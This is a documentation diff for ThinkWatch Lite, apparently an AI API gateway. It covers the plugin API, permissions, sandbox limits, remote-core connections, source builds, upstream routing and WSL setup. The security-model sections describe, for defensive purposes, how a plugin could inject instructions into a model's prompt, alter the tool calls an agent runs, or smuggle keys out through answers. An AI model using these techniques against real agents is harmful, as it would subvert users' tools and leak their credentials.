CPU time, and shows the request as the client sent it and as it was sent to the upstream that answered. A failing plugin raises a notification. + +When the app is connected to a [remote core](/docs/lite/remote-core), plugins are installed on the server and run there. + +### Confirmation in a system dialog + +Routine changes are saved directly. A system dialog is needed only for four steps, and only for a plugin that can change tool calls (one with the `reply.tool_calls` permission): installing it, turning it on, saving a change to its code, and approving a change made to its file outside the app. A change to the code counts when the permission is there before or after it, so adding `reply.tool_calls` is confirmed as well, and a plugin whose permissions cannot be read is treated as one that has it. + +The dialog is raised by the app itself, outside the page. It names the plugin, what the plugin can do and what is changing, and for new code the beginning of its SHA-256 hash, to compare with the one shown in the app. Core accepts these four steps only through the dialog, so a script injected into the page cannot take them on its own. + +No system dialog is needed for the settings, scope and behavior on errors of any plugin, for turning a plugin off, reordering or deleting, or for installing, turning on and editing a plugin that cannot change tool calls. Editing the config file in the app or restoring a version from its version history cannot install a plugin that can change tool calls, turn it on or change its code; such a change is refused there and made on the Plugins page. + +### When the file changes outside the app + +A plugin runs only as it was approved. Core keeps an approved copy of each plugin together with its SHA-256 hash, and a save in the app updates the file, the copy and the hash at once. When the file is changed or removed outside the app, the plugin stops running within seconds and its status shows **File changed**. **Review changes** shows the differences from the approved copy, and **Approve changes** lets the plugin run again; saving the plugin in its editor instead writes the editor's code back to the file. + +## Writing a plugin + +A plugin is a single ES module file in UTF-8, at most 1 MiB. It exports a `manifest`, which describes the plugin and holds its configuration, and one or more hooks. + +```js +export const manifest = { + name: "Project notes", + api: 1, + description: "Appends the notes set here to the system prompt.", + permissions: ["system"], + match: { clients: ["claude-code"], models: [], upstreams: [] }, + on_error: "reject", + settings: { + notes: { type: "string", label: "Notes", value: "Use pnpm, not npm." }, + }, +}; + +export function onRequest(req, ctx) { + const notes = String(ctx.settings.notes).trim(); + if (notes === "") return; // nothing to add: the request is sent as it is + req.system = req.system ? `${req.system}\n\n${notes}` : notes; + return req; +} +``` + +### Manifest + +| Field | Required | Value | +|---|---|---| +| `name` | Yes | 1 to 64 characters. | +| `api` | Yes | `1`, the only version supported. | +| `description` | No | Up to 500 characters. | +| `permissions` | Yes | One or more of `system`, `messages`, `tools`, `params`, `reply.text` and `reply.tool_calls`; see [Permissions](#permissions). | +| `requests` | No | The kinds of request the plugin handles: one or more of `conversation`, `embeddings` and `completions`. Without it, conversations only; see [Embeddings and legacy completions](#embeddings-and-legacy-completions). | +| `match` | No | The [scope](#scope): `clients`, `models` and `upstreams`, each a list of up to 100 patterns in which `*` matches any run of characters. A missing or empty list matches everything. Shown as **Applies to** on the Settings tab. | +| `on_error` | No | `"reject"` (the default) or `"skip"`: what happens when the plugin fails, described in [When a plugin fails](#when-a-plugin-fails). Shown as **On error** on the Settings tab. | +| `reply` | No | `"block"` (the default) or `"stream"`: how `onReplyText` receives text. | +| `settings` | No | Up to 20 entries, each named with letters, digits and `_` and not starting with a digit, with `type` (`string`, `number` or `boolean`), `label` (plain text, up to 100 characters) and `value`, the current value (`""`, `0` or `false` when left out). Values are edited on the Settings tab and passed in `ctx.settings`. A string value may span several lines, up to 10,000 characters. | + +Whether the plugin is on is not part of the manifest; it is the **Enabled** switch in the app. + +The manifest is plain data, which lets core read it straight from the source and the app rewrite it without running the code. It is an object literal whose values are strings, numbers, `true`, `false`, `null`, lists and nested objects; keys are names or quoted strings, and trailing commas are allowed. Expressions, variables, function calls, spreads, computed keys, getters and template literals with `${}` are not data: a file that uses them in the manifest does not load, and neither does one whose code changes the manifest after declaring it. + +A rewrite replaces only the manifest literal, and every byte outside it stays as it is. The literal is written back in one fixed style, the one used in the examples on this page, and comments inside it are not kept, so notes about the settings belong above the manifest. + +The file is checked when it is added and whenever core loads it. It must export a valid manifest, with no fields other than these, and at least one hook. Each exported hook needs its permission, and each permission must be used by an exported hook, so that a plugin requests nothing it does not use; `onReplyTextEnd` also needs `onReplyText` and stream mode. A file that fails any check is not installed, and the error names the line and column where it can. + +### Scope + +The scope is the manifest's `match`. It is edited under **Applies to** on the Settings tab, which suggests the clients, models and upstreams the gateway knows. + +| List | Matches | +|---|---| +| `clients` | The client the request came from, as recorded on the request, such as `claude-code`. A request from a client that is not recognized matches only an empty list. | +| `models` | The model sent to the upstream, after a routing rule renamed it. | +| `upstreams` | The upstream of the attempt. | + +All three lists apply to request hooks and answer hooks alike, and patterns ignore case. A request hook is in scope per attempt: after a failover, a plugin limited to one upstream runs only for the attempts that go there. The request hooks of an attempt are chosen before any of them runs, so a model renamed by one plugin does not change which request hooks run; answer hooks match the model the answering upstream received. A plugin also handles only the kinds of request it declares in `requests`. + +### Hooks + +| Hook | Permission | Called | +|---|---|---| +| `onRequest(req, ctx)` | `system`, `messages`, `tools` or `params` | Before each attempt to send the request to an upstream, after routing. | +| `onReplyText(text, ctx)` | `reply.text` | For the text of the answer. | +| `onReplyTextEnd(ctx)` | `reply.text` | In stream mode, at the end of each text block. Optional. | +| `onToolCall(call, ctx)` | `reply.tool_calls` | For each tool call in the answer, once it is complete. | + +**`onRequest`** receives the [request view](#the-request-view) and returns it changed, or returns nothing to leave the request as it is. Calling `reject("reason")` refuses the request, and the client receives an error that names the plugin; `reject` ends the hook by throwing, and the refusal stands even if the plugin catches what it throws. The hook runs once for each attempt to send the request to an upstream, as described in [Where plugins run](#where-plugins-run). Besides requests that generate an answer, it runs on token counts (`/v1/messages/count_tokens`, Gemini's `countTokens` and the Responses API's `input_tokens`) and on Responses compaction, which carry the same conversation, so that what a plugin removes is not sent through them either. On these, a changed model is applied but changes to the other `params` are not, because these endpoints do not accept them. A token count that the gateway estimates itself, without contacting an upstream, runs no plugin. + +**`onReplyText`** in block mode, the default, is called once for each text block with the whole text of the block, and the text reaches the client after the call. In stream mode it is called for each piece of streamed text and returns what to send now; returning `""` holds the text back, and `onReplyTextEnd` returns whatever is still held when the block ends. An answer that is not streamed is passed in one call, followed by `onReplyTextEnd` in stream mode. Returning nothing leaves the text unchanged. + +**`onToolCall`** receives `{ id, name, input }`. Streamed arguments are collected until the call is complete, and the result is sent in the client's format. The hook returns nothing to leave the call unchanged, an object to replace it, `null` to remove it, or an array to replace it with several calls. An `id` is generated where one is missing. + +Answer hooks run only on the answers to conversations. Thinking blocks are not passed to plugins and reach the client unchanged. + +A hook may be an `async` function or return a promise; it is settled within the same call and the same limits, and a promise that never settles counts as an error. + +### The request view + +```ts +type RequestView = { + format: "anthropic" | "openai_chat" | "openai_responses" | "gemini"; // read-only + model: string; // read-only; the model is changed through params.model + system?: string; // with "system"; "" when there is none + messages?: Message[]; // with "messages" + tools?: Tool[]; // with "tools" + params?: Params; // with "params" +}; +type Message = { key?: string; role: "user" | "assistant" | "tool" | "system"; parts: Part[] }; +type Part = + | { key?: string; type: "text"; text: string } + | { key?: string; type: "thinking"; text: string } // read-only + | { key?: string; type: "tool_call"; id: string; name: string; input: unknown } // input can be changed + | { key?: string; type: "tool_result"; call_id: string; text: string; is_error: boolean } // text can be changed + | { key?: string; type: "image"; media_type: string | null } // read-only, no data + | { key?: string; type: "other"; label: string }; // read-only +type Tool = { key?: string; name: string; description: string; input_schema: unknown }; +type Params = { model: string; max_tokens?: number; temperature?: number; top_p?: number; stop?: string[] }; +``` + +`model` and `params.model` hold the model that will be sent to the upstream of this attempt, the same as `ctx.model`. `system` is the instruction at the start of the conversation: the `system` field in Anthropic Messages, the leading system or developer messages in Chat Completions, `instructions` in Responses and `systemInstruction` in Gemini. Setting it to `""` removes it. Messages that carry only tool results have the role `tool`, and system or developer messages later in the conversation have the role `system`. + +Core assigns a `key` to every message, part and tool. The rules for changes: + +- A message, part or tool keeps its `key` to be changed and has no `key` when it is new. An unknown or repeated `key` is an error. +- Messages can be removed, changed or added. Added messages have the role `user`, `assistant` or `system` and contain text parts only. Messages that are kept keep their order and their role. +- Within a kept message, parts can be removed, their editable fields changed, and text parts added. `type`, `id`, `name` and `call_id` cannot be changed, and neither can thinking, image and other parts. +- Tools can be removed or added, and their `description` and `input_schema` changed. Tool names stay unique. The view lists the tools the client defines itself; tools whose definition comes from the API, such as web search, are not shown, are kept as they are, and a new tool cannot take their names. +- `max_tokens`, `temperature`, `top_p` and `stop` can be changed or removed, and `params.model` can be changed. A changed `params.model` renames the model sent to the upstream of this attempt, as described in [Where plugins run](#where-plugins-run). + +A result that breaks a rule, or that contains a section the plugin was not granted, counts as an error. + +### Embeddings and legacy completions + +A plugin that lists them in `requests` also handles embeddings (OpenAI `/v1/embeddings`, Gemini `:embedContent` and `:batchEmbedContents`) and legacy completions (OpenAI `/v1/completions`). Their view has the same shape, without a system prompt or tools: + +```ts +type InputsView = { + format: "openai_embeddings" | "openai_completions" | "gemini_embed"; // read-only + model: string; // read-only; the model is changed through params.model + messages?: Message[]; // with "messages": one user message per input + params?: Params; // with "params": the model; for completions also max_tokens, temperature, top_p, stop +}; +``` + +- Each input is one `user` message. For OpenAI, each element of an `input` (embeddings) or `prompt` (completions) array is one message, and a single string is one message; for Gemini, each content is one message, with one part for each of its parts. +- Only the text of text parts can be changed. An input given as token ids is a read-only `other` part labelled `tokens`, and other parts that are not text are read-only too. +- Messages and parts cannot be added, removed or reordered, because the answer comes back input by input. +- `params` holds the model, and for completions also `max_tokens`, `temperature`, `top_p` and `stop`. Other fields, such as `suffix` and `dimensions`, are not shown and stay as they are. + +Everything else works as for conversations: the placeholders, a run for each attempt after routing, a changed model renaming what is sent to this upstream, recording and trial runs. A changed request is checked again by the content filter, on the text of its inputs. Answer hooks do not run on these requests: an embeddings answer carries no text, and a legacy completions answer is passed through as it is. + +`messages` and `params` apply to all three kinds; `system`, `tools`, `reply.text` and `reply.tool_calls` apply to conversations only. A plugin does not load when `requests` is empty, names an unknown kind or names one twice, when a kind it declares is reached by none of its permissions (embeddings and completions need `messages` or `params`), or when it holds a permission that applies to none of its kinds, such as `system` without `conversation`. + +A request of a kind that a plugin does not declare is outside its scope. It passes untouched and nothing is recorded, whatever the plugin's behavior on errors, and even while the plugin's file has changed or it fails to load. + +### `ctx` + +```ts +type Ctx = { + client: string | null; // the client, as recorded on the request, e.g. "claude-code" + model: string; // the model sent to the upstream, after a routing rule or an earlier plugin renamed it + requested_model: string; // the model the client asked for + format: "anthropic" | "openai_chat" | "openai_responses" | "gemini" + | "openai_embeddings" | "openai_completions" | "gemini_embed"; // the format of the client's request + upstream: string; // the upstream of this attempt, or the one that served the answer + settings: Record; +}; +``` + +`ctx` is frozen and cannot be changed. + +### Available JavaScript + +Plugins have the standard JavaScript built-ins, such as `JSON`, `RegExp`, `Map`, `Date` and `Math`; `console.log`, `console.info`, `console.warn` and `console.error`, which write to the plugin's log; and `reject`, which is valid only in `onRequest`. There is no `fetch`, `require` or timer, `import` and `import()` load nothing, and there is no access to files, the network, environment variables or processes. The sandbox's clock is UTC. Nothing a plugin stores in a variable outlives the request attempt or answer it runs for. + +## Permissions + +A permission decides both what a plugin sees and what it may change. Sections that are not granted are not passed to the plugin, and a result that changes them counts as an error. + +| Permission | Sees and may change | Note in the app | +|---|---|---| +| `system` | The system prompt | | +| `messages` | Messages: text, tool results and the arguments of earlier tool calls; thinking is read-only and images are passed as their type only. For embeddings and legacy completions, the text of each input | Can add instructions to the conversation | +| `tools` | Tool definitions | Changes which tools the model can use | +| `params` | Model, `max_tokens`, `temperature`, `top_p`, `stop`; for embeddings, the model only | Can change the model sent to the upstream, and so what the request costs | +| `reply.text` | The text of answers | | +| `reply.tool_calls` | The tool calls in answers: change, remove, add | High risk, shown in red: a plugin can change what the client runs. The tool-call inspection still checks the result, and installing such a plugin, turning it on, changing its code and approving a change to its file are confirmed in a system dialog. | + +## When a plugin fails + +A plugin fails when it throws an error, exceeds a [limit](#limits), returns something that is not valid, or changes a section it was not granted. A request of a kind the plugin handles whose body cannot be read counts as a failure as well. The manifest's `on_error`, shown as **On error** on the Settings tab, sets what happens then: + +- **Reject the request** (the default): the request is refused, or the answer ends, with an error that names the plugin. A refused request is not tried on another upstream. +- **Skip this plugin**: the plugin is left out of this request, or of the rest of the answer, and the request continues as if it were not installed. + +The same choice applies while a plugin cannot run: when its file has changed and has not been approved, or when it fails to load. Its behavior on errors and its scope then come from the approved file, which core reads as data even when the code cannot run, so such a plugin refuses only the attempts within its scope, matched by request kind, client, model and upstream like a working one. A plugin that fails to load counts as handling conversations only, and one whose manifest cannot be read at all rejects every conversation. Every failure is recorded on the request. + +## Limits + +| Hook | CPU time | Memory | Output | +|---|---|---|---| +| Request | 200 ms per call, including the module's top-level code | 128 MiB | Twice the size of the request view, plus 1 MiB | +| Answer | 20 ms per call; 2 s for the whole answer | 64 MiB | Twice the size of the text or tool call passed in, plus 1 MiB; text released by `onReplyTextEnd`: 1 MiB | + +Each call can write 100 lines to the log, and a line longer than 4 KiB is cut short. The plugin file can be up to 1 MiB. A call that exceeds a limit, including a 101st log line, is stopped and counts as an error. + +Across the gateway, at most 32 answer-hook instances run at the same time. Each plugin with answer hooks takes one for every answer it handles and gives it back when the answer ends. When none is free, the plugin's behavior on errors decides: **Reject the request** refuses the request before any of the answer is sent, and **Skip this plugin** lets that answer through without the plugin. Either way the run is recorded as an error and raises a notification. + +## Security model + +- **A sandbox with nothing in it.** Plugins run in QuickJS compiled to WebAssembly and executed by Wasmtime inside core. Plugin code never runs in the app's window and never runs as native code. The sandbox has no network, files, environment variables or processes; even a flaw in the JavaScript engine reaches only the sandbox's own memory, not the keys and tokens in core's memory. +- **Nothing is kept.** Every request-hook call runs in a new instance. For each answer, a plugin gets one instance, shared by its hooks for that answer and discarded when the answer ends. Plugins share nothing with each other. +- **Placeholders instead of keys.** Keys that the outbound redaction rules recognize are replaced with placeholders before a plugin sees them and restored after it, on the request and on the answer, whatever mode the protection is in. The answer side matters as much as the request: answers become part of the conversation and are sent upstream again with the next request, so a plugin that could see a real key could hide it, encoded, in an answer. +- **The protections still apply.** Request hooks run after routing, and a request they change is checked again by the content filter before outbound redaction; answer hooks run before the tool-call inspection. Whatever a plugin writes is checked like anything else, and plugins cannot change where a request is routed or switch to a model the key may not use. +- **Approved code only.** A plugin runs only while its file matches the approved SHA-256 hash, and a save in the app updates the file and the hash together. Installing a plugin that may change tool calls, turning it on, changing its code and approving a change to its file are confirmed in a system dialog outside the page, as described in [Confirmation in a system dialog](#confirmation-in-a-system-dialog). +- **Every change is visible.** Each run is recorded on the request, a changed request is stored as it was sent to the upstream that answered (with keys replaced, like every stored request), and requests changed by plugins are marked on the Traffic page. +- **Bounded.** Every call has limits on CPU time, memory, output and log volume, and the number of answer instances alive at once is capped. Plugins run in a separate thread pool, so a slow plugin does not hold up the gateway's own work. +- **Plain text.** The app shows a plugin's name, description, setting labels, logs and errors as plain text. + +## What the sandbox cannot prevent + +A plugin is allowed to change content, and the sandbox cannot judge whether a change is honest. A plugin with `system` or `messages` can write instructions into the prompt, and one with `reply.text` can make an answer misleading. A plugin with `params` can switch to a more expensive model among those the key may use. A plugin with `reply.tool_calls` can change what the client runs; the tool-call inspection catches only the patterns in its rules. Keys that the outbound redaction rules do not recognize are visible to plugins; they are also sent to the upstream as they are, and a custom rule on the Security page covers such a format. + +These risks are limited by granting a plugin only the permissions it needs, by reading its code before installing it, and by comparing the request before and after the plugins in the request's detail. + +## Plugins that ship with the app + +Two plugins come with the app. They appear in the plugin list like any other, both off, and are turned on and configured the same way; the app shows their names and setting labels in the interface language. One of them, `wsl-paths`, may change tool calls, so turning it on is confirmed in a system dialog, while its setting, scope and behavior on errors change without one. While no plugin is on, core does not start the sandbox, so plugins that stay off take no memory. The plugins ship with core, so a remote core has them too. Both handle conversations only, and their code is in the ThinkWatch Core repository, in [`crates/tw-gateway/src/plugin/defaults`](https://github.com/ThinkWatchProject/ThinkWatch-Core/tree/main/crates/tw-gateway/src/plugin/defaults). + +### Answer in a chosen language (`reply-language`) + +Adds a fixed line to the end of the system prompt that asks the model to answer in the chosen language, unless the user explicitly asks for another. The line is the same on every request, so the upstream's prompt cache keeps hitting. + +- Permission: `system`. +- Setting: `language`, the answer language, shipped as `简体中文` (Simplified Chinese). Only a language name is accepted (letters, spaces, parentheses and hyphens, up to 40 characters), so the setting cannot add other instructions; with any other value the plugin fails on every request. + +The manifest as shipped: + +```js +export const manifest = { + name: "Answer in a chosen language", + api: 1, + description: "Adds a fixed line to the end of the system prompt that asks the model to answer in the language set here.", + permissions: ["system"], + on_error: "reject", + settings: { + language: { type: "string", label: "Answer language", value: "简体中文" }, + }, +}; +``` + +### Convert WSL and Windows paths (`wsl-paths`) + +A client running in WSL cannot open `C:\Users\…`, and a client running on Windows cannot open `/mnt/c/Users/…`. The plugin rewrites every tool-call argument whose whole value is a drive path into the form the client can open, in the tool calls of answers and in earlier tool calls in the conversation, so the model keeps seeing one form. Paths inside command lines, the text of the conversation and tool results are left as they are. + +- Permissions: `messages`, `reply.tool_calls`. +- Setting: `windows_client`, whether the client runs on Windows; shipped as `false`, for a client in WSL. The conversion is fixed in the code, and the setting cannot express any other rewrite. + +The manifest as shipped: + +```js +export const manifest = { + name: "Convert WSL and Windows paths", + api: 1, + description: "Rewrites drive paths in tool-call arguments to the form the client can open (WSL /mnt/c/… or Windows C:\\…), in answers and in the conversation history.", + permissions: ["messages", "reply.tool_calls"], + on_error: "reject", + settings: { + windows_client: { + type: "boolean", + label: "The client runs on Windows (otherwise WSL)", + value: false, + }, + }, +}; +``` + +A built-in plugin that is deleted is not added again, and one whose code was edited is left as it is; changes made on its Settings tab do not count as editing the code. Otherwise, when an update ships a newer version of a built-in plugin, the plugin is updated and keeps its on/off state, its behavior on errors, its scope and the value of each setting the new version still declares with the same type; a new version that asks for more permissions or more kinds of request is turned off. + +## Upgrading + +The first launch after updating to the version that introduces plugins clears the request history, including stored requests and answers. The configuration, keys and upstreams are kept, and the two built-in plugins are added to the list, turned off. + +## Next steps + +- [Features](/docs/lite/features): the other pages of the app, including the Security page and its protections. +- [Connecting to a remote core](/docs/lite/remote-core): plugins on a core running on a server. diff --git a/src/content/docs-lite/en/remote-core.md b/src/content/docs-lite/en/remote-core.md new file mode 100644 index 0000000..57b472b --- /dev/null +++ b/src/content/docs-lite/en/remote-core.md @@ -0,0 +1,72 @@ +# Connecting to a remote core + +ThinkWatch Lite normally controls the core it starts on the same computer. It can instead connect to ThinkWatch Core running on a server, where `twcore` runs as a systemd service on Linux, and show that server's traffic, cost and configuration in the same pages. Clients anywhere on the network then send their requests to the server's gateway, and the app on a desktop computer shows and changes what the server does. + +Installing and configuring the server is described in [Server deployment](/docs/core/server-deployment) in the ThinkWatch Core documentation. This page covers the app's side. + +## What the server needs + +- `twcore` installed and running, for example as the `twcore` systemd service that the install script sets up; +- the remote control port open, with the networks the app connects from in `listen.control.remote.allow_from`; +- the core version that the app requires. When the versions differ, the app shows both; `sudo twcore upgrade --version --restart` on the server, with the version the app shows, installs it whether it is newer or older than the running one. + +On a server installed with the script, the port is opened and the key shown with: + +```sh +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore remote enable --allow 192.168.1.0/24 +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore control-key +``` + +`twcore control-key` prints the key on its first line, followed by the control port, the server's addresses that listen on it and the allowed networks. + +## Adding a connection + +1. Open **Settings › Connection** and choose **Add remote connection**. +2. Enter a name for the connection and the server's **address**, a host name or an IP address. +3. Enter the **control port**, the value of `listen.control.remote.port` in the server's configuration, chosen at random between 20000 and 32000 when that section was written. +4. Enter the **key**, the 64 hexadecimal characters that `twcore control-key` printed. +5. Choose **Test connection**. The app completes the handshake and reports the server's core version and gateway address. +6. Choose **Save and switch** to connect now, or **Save** to switch later. + +When the test fails, the app says why: + +| Message | Meaning | +|---|---| +| Cannot connect to the address | The address or the port is wrong, a firewall blocks the port, or `listen.control.remote` is not enabled on the server | +| The server closed the connection | This computer's address is probably not in `listen.control.remote.allow_from` | +| The key is not correct | The key differs from the server's; `twcore control-key` on the server shows the current one | +| Version mismatch | The server runs a different core version; run `sudo twcore upgrade --version --restart` on the server with the version the app shows | + +## Switching between connections + +The app connects to one core at a time. The connection is switched from the menu at the foot of the sidebar, from **Settings › Connection**, or from the **Connection** submenu of the menu bar or tray menu. The app tests a remote connection before switching to it. + +While the app is connected to a server, the core on this computer stops once its requests in progress have finished. Its configuration, keys and request history are kept, and switching back to this computer starts it again. + +Clients on this computer, including those inside WSL on Windows, that point to the local gateway would fail while it is stopped. When there are such clients, the switch offers to point them at the server's gateway instead; the Clients page offers the same afterwards. + +**Connect at startup** chooses between the last used connection and this computer. Holding Option on macOS or Alt on Windows while the app opens shows the choice of connection first; on every platform, the choice also appears when the two previous startups did not finish. When the server cannot be reached, the app keeps retrying and shows the connection's state, with the option to switch to this computer; it does not switch back on its own. + +## What changes while connected + +- **Overview, Traffic, Keys, Upstreams, Routing and Security** show and change the configuration and history of the core on the server. +- **Clients and MCP** still act on the computer the app runs on: the Clients page points this computer's clients at the server's gateway, and the MCP page checks this computer's MCP servers, skills and hooks. A note at the top of each page says so. Clients on other machines are configured by hand with the server's gateway address and a gateway key. +- **Settings** is divided into the app on this computer (connection, general settings, about, uninstall) and the configuration on the server (listening, log retention). The remote control port and its key can be changed only on the server. +- **ChatGPT sign-in** uses a device code only, with the verification address and the code each ready to copy: a browser sign-in returns to the machine that runs core, which is the server. +- `${NAME}` in an upstream's key or headers reads the environment of the core process on the server, and the **system proxy** option means the server's system proxy. +- The **diagnostics bundle** is not available. The server refuses three things over a remote connection: producing the bundle, stopping core, and changing `listen.control`. +- If the connection drops, the pages keep showing the state at the moment of the disconnect and cannot be changed until the connection is restored. A system notification reports the disconnect, and the app reconnects on its own. + +## Security of the connection + +The control connection is encrypted and authenticated by a Noise handshake (`Noise_NNpsk0_25519_ChaChaPoly_BLAKE2s`) whose pre-shared key is `listen.control.key` in the server's `config.yaml`. There is no TLS and no certificate. A program that can reach the port but does not hold the key cannot control core. + +The server accepts connections only from the networks in `listen.control.remote.allow_from`, and ignores a source for a minute after five failed handshakes within a minute. The gateway port carries requests in plain HTTP, so both ports should be reachable only from trusted networks; for access from outside, use a VPN or an SSH tunnel rather than exposing the ports. + +The app stores the key in a file in its data directory that only the current user can read. Deleting a connection deletes its key and does not affect the server. After `twcore control-key --rotate` on the server, open the connection in **Settings › Connection** and replace the key. + +## Next steps + +- [Server deployment](/docs/core/server-deployment): install, configure, start and upgrade `twcore` on a Linux server. +- [Architecture](/docs/lite/architecture): the control channel between the app and Core. +- [Overview](/docs/lite): what the app shows. diff --git a/src/content/docs-lite/en/run-from-source.md b/src/content/docs-lite/en/run-from-source.md new file mode 100644 index 0000000..5149973 --- /dev/null +++ b/src/content/docs-lite/en/run-from-source.md @@ -0,0 +1,39 @@ +# Build from source + +A development build runs against a checkout of the [ThinkWatch Lite repository](https://github.com/ThinkWatchProject/ThinkWatch-Lite). To install the released app instead, see [Install and update](/docs/lite/install). + +## Run + +On Linux, install the WebKitGTK, AppIndicator and D-Bus development packages first. On Ubuntu or Debian: + +```bash +sudo apt install libwebkit2gtk-4.1-dev build-essential curl wget file libxdo-dev \ + libssl-dev libayatana-appindicator3-dev librsvg2-dev dbus +``` + +```bash +pnpm install +bash src-tauri/scripts/fetch-core.sh +pnpm tauri dev +``` + +`fetch-core.sh` downloads the `twcore` release that `Cargo.lock` pins, checks its sha256 and places it in `src-tauri/resources/`. Every build needs that file, `pnpm tauri dev` included, because Tauri checks at compile time that the resources the app declares exist; the development build then runs that copy of `twcore`. A development build never updates itself. + +## Build a bundle + +```bash +pnpm tauri build +``` + +On macOS this produces a self-contained `.app`; on Windows, an NSIS installer; on Linux, an AppImage. The build runs `fetch-core.sh` itself, so the `twcore` inside the bundle is always a checksum-verified ThinkWatch Core release rather than a local build, and which build was distributed is determined by that release and not by the state of a working copy. The release is the tag that `Cargo.lock` resolved for `tw-api`, so the protocol mirror compiled into the app and the binary shipped beside it always come from one Core commit. + +The macOS bundle is neither signed by a registered Apple developer nor notarized, and it is built for Apple silicon only. The Windows installer is not code-signed. + +## Platforms + +Releases are built for macOS on Apple silicon, for Windows on x64 and ARM64, and for Linux on x86_64 and aarch64. + +## Next steps + +- [Architecture](/docs/lite/architecture): the structure of the app and how it communicates with Core. +- [Contributing](/docs/lite/contributing): the checks required before opening a pull request. diff --git a/src/content/docs-lite/en/switch-upstreams-without-restart.md b/src/content/docs-lite/en/switch-upstreams-without-restart.md new file mode 100644 index 0000000..4df092f --- /dev/null +++ b/src/content/docs-lite/en/switch-upstreams-without-restart.md @@ -0,0 +1,35 @@ +# Switch relays, upstreams or models without restarting Claude Code or Codex + +ThinkWatch Lite points Claude Code and Codex at a gateway on the local machine once; from then on, the gateway decides which upstream and model each request goes to. Switching a relay, an upstream or a model is a change to a routing rule or to a manually selected group in the app. The gateway applies it to the requests that follow without restarting, and neither client is restarted or has its configuration file edited again. + +## Before you start + +- ThinkWatch Lite, [installed](/lite/#install). This guide follows version 2026.10.4. +- Claude Code or Codex connected with **Connect…** on the Clients page. Claude Code uses the new configuration from its next request; Codex needs its terminal reopened once. This is the last change on the client side. +- At least two upstreams on the Upstreams page, such as two relays, or one upstream that offers several models. + +## Steps + +With a routing rule: + +1. On the Routing page, open the route that the client's key follows under **Routes**. When there are no other routes, it is the one marked **Default**. +2. In its rule list, choose **Edit…** on the rule to change, usually the one shown as **All requests (catch-all)**. +3. Under **On match**, keep **Forward** and choose the new upstream or group in **Forward to**. +4. To change the model as well, open **Parameter rewrites** and enter a model name in **Change model to**. +5. Choose **Save** in the rule dialog, then **Save** in the route dialog. + +With a manually selected group: + +1. On the Routing page, choose **New group** under **Groups**, enter a **Name**, set **Strategy** to **Manual**, tick the upstreams under **Members**, choose **Set as preferred** on one of them, then choose **Create**. +2. Select the group in a rule's **Forward to**, as in the steps above. +3. To switch later, open the group's menu on the Routing page and choose a member under **Preferred upstream**. The same switch is in the menu bar menu on macOS and in the tray menu on Windows and Linux: each manually selected group is listed with its current upstream, and its submenu lists the members. + +## Notes + +- **Why no restart is needed.** A connected client holds only the gateway's address and a key of its own: `ANTHROPIC_BASE_URL` and `ANTHROPIC_AUTH_TOKEN` in `~/.claude/settings.json` for Claude Code, a provider named `thinkwatch` in `~/.codex/config.toml` for Codex. Upstream addresses, keys and models live in the gateway's configuration, which the gateway reloads in place. A request already in progress finishes on the configuration it started with. +- **Codex sessions stay in one list.** Codex lists only the sessions of its current provider. While connected, it always uses the `thinkwatch` provider, so every session started through the gateway stays in the same list, whichever upstream answers it. Sessions from before connecting remain under their original provider and are listed separately; `codex resume -c model_provider=thinkwatch` continues one of them through the gateway. +- **Conversations in progress.** Inside a group, a conversation stays with the upstream that answered it until the current turn ends, and across turns while that upstream's prompt cache is warm: an answer within the last five minutes that read or wrote at least 1,024 cached tokens. After the preferred upstream of a manual group changes, new conversations move at once, while one in progress may stay until its cache cools or that upstream fails. A rule pointed at another upstream or group applies to every conversation from the next request. +- **Model names.** An upstream whose model list lacks the requested model is skipped. When the new upstream uses other model names, such as GLM in place of Claude, set **Change model to** on the rule. A changed model no longer hits the cached prompt, and the request is priced by the name sent. +- **One client only.** Each connected client has its own key. To switch one client and leave the others as they are, create a route with **New route** and add that client's key under **Keys using this route**. + +Related: [Features](/docs/lite/features/#routing-and-failover), [Fail over and balance load across relays and API keys](/docs/lite/failover-and-load-balancing/), [Install and update](/docs/lite/install/). diff --git a/src/content/docs-lite/en/wsl-claude-code-codex.md b/src/content/docs-lite/en/wsl-claude-code-codex.md new file mode 100644 index 0000000..07123fe --- /dev/null +++ b/src/content/docs-lite/en/wsl-claude-code-codex.md @@ -0,0 +1,39 @@ +# Use Claude Code and Codex in WSL + +ThinkWatch Lite on Windows lists the Claude Code and Codex installed in each WSL distribution on its Clients page and connects them to the gateway on Windows, the same way as the clients on Windows itself. They are given the address `127.0.0.1`, which WSL reaches in WSL 1 and in WSL 2 with mirrored networking. For WSL 2 on its default NAT networking, the app offers to switch to mirrored networking and to restart WSL. + +## Before you start + +- ThinkWatch Lite on Windows 10 21H2 or later, [installed](/lite/#install) or portable. The app runs on Windows, not inside WSL. This guide follows version 2026.10.4. +- WSL 1, or WSL 2 with mirrored networking, which needs Windows 11 22H2 or later and WSL 2.0.5 or later. `wsl --version` shows the version and `wsl --update` updates it. +- Claude Code or Codex installed in the distribution and run once, so that `~/.claude` or `~/.codex` exists. +- At least one upstream on the Upstreams page. + +## Steps + +1. Open the Clients page. Below **This computer**, each distribution has a group named **WSL · **, with a line under the name stating its networking. +2. If the line reads **NAT networking; clients cannot be connected.**, choose **Switch to mirrored…**. The dialog shows the change to `%USERPROFILE%\.wslconfig`; choose **Switch**. +3. Choose **Restart WSL…**, then **Restart WSL**. This runs `wsl --shutdown`: every running distribution stops, together with the programs running in it. +4. In the distribution's group, choose **Connect…** on Claude Code or Codex, review the fields and the full change, and choose **Connect**. +5. Claude Code goes through the gateway from its next request. For Codex, reopen the terminal in WSL. +6. After the first request, the client's status changes to **In use**, and its requests appear on the Traffic page under a key of its own. + +## Notes + +| Setup | Result | +|---|---| +| WSL 1 | Connects; WSL 1 shares the network with Windows. | +| WSL 2 with mirrored networking | Connects. | +| WSL 2 with NAT networking (the default) | Not connected: inside WSL, `127.0.0.1` is WSL itself, and the gateway does not listen on the WSL virtual adapter. **Switch to mirrored…** is offered. | +| Windows 10 or Windows 11 21H2 | No mirrored networking, so clients in WSL 2 cannot be connected. | +| WSL older than 2.0.5 | `wsl --update` is needed first. | + +- **The `.wslconfig` change.** Only `networkingMode` is added or changed, under `[wsl2]`, or in place where it is written under the older `[experimental]`. The rest of the file is left as it is, and the whole file is backed up first. The setting applies to every WSL 2 distribution on the computer. A full uninstall does not change it back, and the backup is kept. +- **When NAT remains.** If WSL still uses NAT networking after the restart, the group says so and offers **Restart WSL…** again. +- **Only Claude Code and Codex.** These two are the clients listed inside WSL. 